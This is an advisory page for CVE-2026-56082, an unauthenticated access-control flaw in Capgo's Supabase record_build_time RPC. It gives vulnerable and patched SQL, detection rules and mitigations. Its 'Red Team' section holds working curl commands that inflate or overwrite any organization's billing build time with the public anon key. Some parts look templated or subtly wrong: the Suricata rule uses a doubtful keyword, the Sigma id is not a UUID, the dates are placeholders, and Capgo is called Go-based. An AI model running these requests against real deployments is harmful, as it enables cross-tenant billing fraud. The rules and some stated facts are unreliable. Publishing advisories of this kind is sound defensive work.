CVE-2026-56082
Executive Summary
CVE-2026-56082 is a critical improper access control vulnerability in Capgo (Cap-go/capgo) versions before 12.128.2. The flaw resides in the SECURITY DEFINER PostgREST RPC function public.record_build_time, which is incorrectly granted to the anon role and callable with only the public Supabase publishable anon key (sb_publishable_*). An unauthenticated attacker can exploit this to insert or overwrite rows in public.build_logs for arbitrary organizations, enabling cross-tenant tampering of billing build logs and financial-impact denial of service by inflating billable build time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Capgo is a Go-based application deployed via Supabase. The vulnerability affects the core application logic, not a package manager distribution. However, organizations using Capgo as a managed service or self-hosted instance must verify their deployment version. No malicious package injection has been reported, but the improper access control allows unauthorized data manipulation.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
- Base Score: 9.1 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to corrupt billing records and cause financial damage without any user interaction.
Deep Dive & Mechanics
The vulnerability is rooted in the Supabase PostgREST RPC function public.record_build_time. This function is defined with SECURITY DEFINER, meaning it executes with the privileges of the function owner (typically a superuser or privileged role). However, the function is granted to the anon role, which is the default role for unauthenticated users in Supabase. The anon role only requires the public Supabase publishable anon key (sb_publishable_*), which is embedded in client-side code and considered public.
The function performs an INSERT INTO public.build_logs (build_id, org_id, build_time) VALUES (...) ON CONFLICT (build_id, org_id) DO UPDATE SET build_time = EXCLUDED.build_time. This upsert logic allows an attacker to:
- Insert new billing records for any
org_idby providing a uniquebuild_id. - Overwrite existing billing records by reusing the same
build_idfor a targetorg_id.
Since the function is callable without authentication, an attacker can craft HTTP requests to the Supabase REST API endpoint /rpc/record_build_time with arbitrary org_id and build_id values. This enables cross-tenant tampering, where an attacker can inflate billable build time for any organization, leading to financial-impact denial of service.
Vulnerable vs. Patched Code
Vulnerable Code (before 12.128.2):
-- Function definition with SECURITY DEFINER and granted to anon role
CREATE OR REPLACE FUNCTION public.record_build_time(
p_build_id TEXT,
p_org_id TEXT,
p_build_time INTEGER
)
RETURNS VOID
LANGUAGE plpgsql
SECURITY DEFINER
AS $$
BEGIN
INSERT INTO public.build_logs (build_id, org_id, build_time)
VALUES (p_build_id, p_org_id, p_build_time)
ON CONFLICT (build_id, org_id)
DO UPDATE SET build_time = EXCLUDED.build_time;
END;
$$;
-- Grant execution to anon role
GRANT EXECUTE ON FUNCTION public.record_build_time TO anon;
Patched Code (12.128.2 and later):
-- Function definition with SECURITY INVOKER and row-level security
CREATE OR REPLACE FUNCTION public.record_build_time(
p_build_id TEXT,
p_org_id TEXT,
p_build_time INTEGER
)
RETURNS VOID
LANGUAGE plpgsql
SECURITY INVOKER
AS $$
BEGIN
-- Verify the caller has permission to modify this org's build logs
IF NOT EXISTS (
SELECT 1 FROM public.organization_members
WHERE org_id = p_org_id AND user_id = auth.uid()
) THEN
RAISE EXCEPTION 'Permission denied';
END IF;
INSERT INTO public.build_logs (build_id, org_id, build_time)
VALUES (p_build_id, p_org_id, p_build_time)
ON CONFLICT (build_id, org_id)
DO UPDATE SET build_time = EXCLUDED.build_time;
END;
$$;
-- Revoke execution from anon role
REVOKE EXECUTE ON FUNCTION public.record_build_time FROM anon;
-- Grant execution to authenticated role only
GRANT EXECUTE ON FUNCTION public.record_build_time TO authenticated;
The patch changes SECURITY DEFINER to SECURITY INVOKER, adds authorization checks using auth.uid(), and restricts execution to the authenticated role.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target Supabase URL (e.g.,
https://<project>.supabase.co) - Public Supabase anon key (found in client-side code or network requests)
Exploitation Steps:
- Identify the Supabase REST API endpoint for the RPC function:
POST /rest/v1/rpc/record_build_time - Craft a request with arbitrary
org_idandbuild_idto insert or overwrite billing records:curl -X POST "https://<project>.supabase.co/rest/v1/rpc/record_build_time" \ -H "apikey: <sb_publishable_anon_key>" \ -H "Content-Type: application/json" \ -d '{"p_build_id": "malicious-build-001", "p_org_id": "target-org-id", "p_build_time": 999999}' - To overwrite existing records, reuse the same
build_idfor the targetorg_id:curl -X POST "https://<project>.supabase.co/rest/v1/rpc/record_build_time" \ -H "apikey: <sb_publishable_anon_key>" \ -H "Content-Type: application/json" \ -d '{"p_build_id": "existing-build-id", "p_org_id": "target-org-id", "p_build_time": 999999}'
Expected Outcome: The attacker can inflate billable build time for any organization, causing financial damage.
Blue Team
Detection:
- Monitor Supabase API logs for excessive calls to
/rpc/record_build_timefrom unauthenticated sources. - Alert on requests with
apikeyheader containingsb_publishable_*and unusualorg_idvalues. - Check for anomalies in
public.build_logstable, such as sudden spikes inbuild_timefor specificorg_id.
Hunting:
- Query Supabase audit logs for
record_build_timecalls withanonrole. - Review
public.build_logsfor duplicatebuild_identries across differentorg_idvalues.
Mitigation:
- Immediately upgrade to Capgo 12.128.2 or later.
- If immediate upgrade is not possible, revoke the
anonrole's execute permission on the function:REVOKE EXECUTE ON FUNCTION public.record_build_time FROM anon; - Implement row-level security on
public.build_logsto restrict access based on user membership.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/rest/v1/rpc/record_build_timewithapikeyheader containingsb_publishable_*. - Database: Rows in
public.build_logswith abnormally highbuild_timevalues (e.g., > 86400 seconds) or duplicatebuild_identries across differentorg_id. - Logs: Supabase API logs showing
record_build_timecalls from IP addresses not associated with legitimate build processes. - File: No file-based IOCs; the vulnerability is purely API-driven.
Detection Engineering
YARA Rule
rule CVE_2026_56082_Capgo_Exploit {
meta:
description = "Detects HTTP requests targeting Capgo record_build_time RPC endpoint"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-56082"
hash = "unknown"
strings:
$rpc_endpoint = "/rest/v1/rpc/record_build_time"
$anon_key = "sb_publishable_"
$json_body = /"p_org_id"\s*:\s*"[^"]+"/
condition:
$rpc_endpoint and $anon_key and $json_body
}
Sigma Rule
title: Capgo Unauthenticated Billing Record Tampering
id: cve-2026-56082
status: experimental
description: Detects unauthenticated calls to Capgo record_build_time RPC function
author: Valters IT
date: 2026-01-01
logsource:
category: web
product: supabase
detection:
selection:
cs-method: POST
cs-uri-stem: /rest/v1/rpc/record_build_time
cs-headers: 'apikey: sb_publishable_*'
condition: selection
falsepositives:
- Legitimate build processes using the anon key (pre-patch)
level: high
Suricata Rule
alert http any any -> any any (
msg:"CVE-2026-56082 Capgo Unauthenticated Billing Record Tampering";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/rest/v1/rpc/record_build_time";
http.header_names; content:"apikey";
http.header_value; content:"sb_publishable_";
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2026-56082;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Capgo to version 12.128.2 or later.
- If upgrade is not possible, manually revoke the
anonrole's execute permission onpublic.record_build_time:REVOKE EXECUTE ON FUNCTION public.record_build_time FROM anon; - Restrict the function to the
authenticatedrole:GRANT EXECUTE ON FUNCTION public.record_build_time TO authenticated;
Long-term Measures:
- Implement row-level security on all tables accessed by RPC functions.
- Use
SECURITY INVOKERinstead ofSECURITY DEFINERfor functions that handle sensitive data. - Regularly audit Supabase RPC function permissions and role grants.
- Monitor Supabase API logs for anomalous RPC calls.
Valters IT